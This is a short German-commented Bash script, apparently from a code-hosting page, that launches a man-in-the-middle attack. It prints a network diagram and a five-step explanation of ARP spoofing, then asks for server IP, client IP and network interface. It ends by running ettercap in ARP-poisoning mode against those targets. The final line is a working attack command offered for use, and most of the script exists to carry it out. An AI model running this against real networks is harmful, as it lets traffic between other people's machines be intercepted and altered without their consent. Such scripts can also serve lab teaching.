62 lines
1.7 KiB
Bash
Executable File
62 lines
1.7 KiB
Bash
Executable File
#!/bin/bash
|
|
|
|
|
|
function ladebalken() {
|
|
echo -n "Ladevorgang: ["
|
|
# Ladebalken-Schritte mit 10%
|
|
for i in {1..10}; do
|
|
echo -n "#"
|
|
sleep 0.5 # Pausiert 0.5 Sekunden zwischen jedem Schritt
|
|
done
|
|
echo "] 100% Fertig!"
|
|
}
|
|
|
|
|
|
# Titel anzeigen
|
|
echo "------------------------"
|
|
echo " MITM Attacke - Aufbau "
|
|
echo "------------------------"
|
|
|
|
|
|
# ASCII-Grafik für eine MITM-Topologie
|
|
echo "
|
|
+-----------------------+
|
|
| Server |
|
|
| IP: XXX.XXX.XXX.XXX |
|
|
+-----------------------+
|
|
|
|
|
|
|
|
|
|
|
+-----------------------+
|
|
| Angreifer |
|
|
| IP: XXX.XXX.XXX.XXX |
|
|
+-----------------------+
|
|
|
|
|
|
|
|
|
|
|
+-----------------------+
|
|
| Client |
|
|
| IP: XXX.XXX.XXX.XXX |
|
|
+-----------------------+
|
|
"
|
|
|
|
|
|
# Kurze Erklärung zum Ablauf einer MITM-Attacke
|
|
echo "Ablauf der MITM-Attacke:"
|
|
echo "1. Der Client möchte eine Verbindung zum Server (XXX.XXX.XXX.XXX) herstellen."
|
|
echo "2. Der Angreifer (XXX.XXX.XXX.XXX) positioniert sich zwischen Client und Server."
|
|
echo "3. Durch ARP-Spoofing täuscht der Angreifer vor, der Server zu sein."
|
|
echo "4. Der gesamte Datenverkehr wird über den Angreifer geleitet."
|
|
echo "5. Der Angreifer kann nun Kommunikation abhören und manipulieren."
|
|
echo ""
|
|
|
|
|
|
read -p "Server IP: " Router
|
|
read -p "Client IP: " Target
|
|
read -p "Interface: " interface
|
|
echo ""
|
|
|
|
ladebalken
|
|
|
|
sudo ettercap -T -S -i $interface -M arp:remote /$Router// /$Target//
|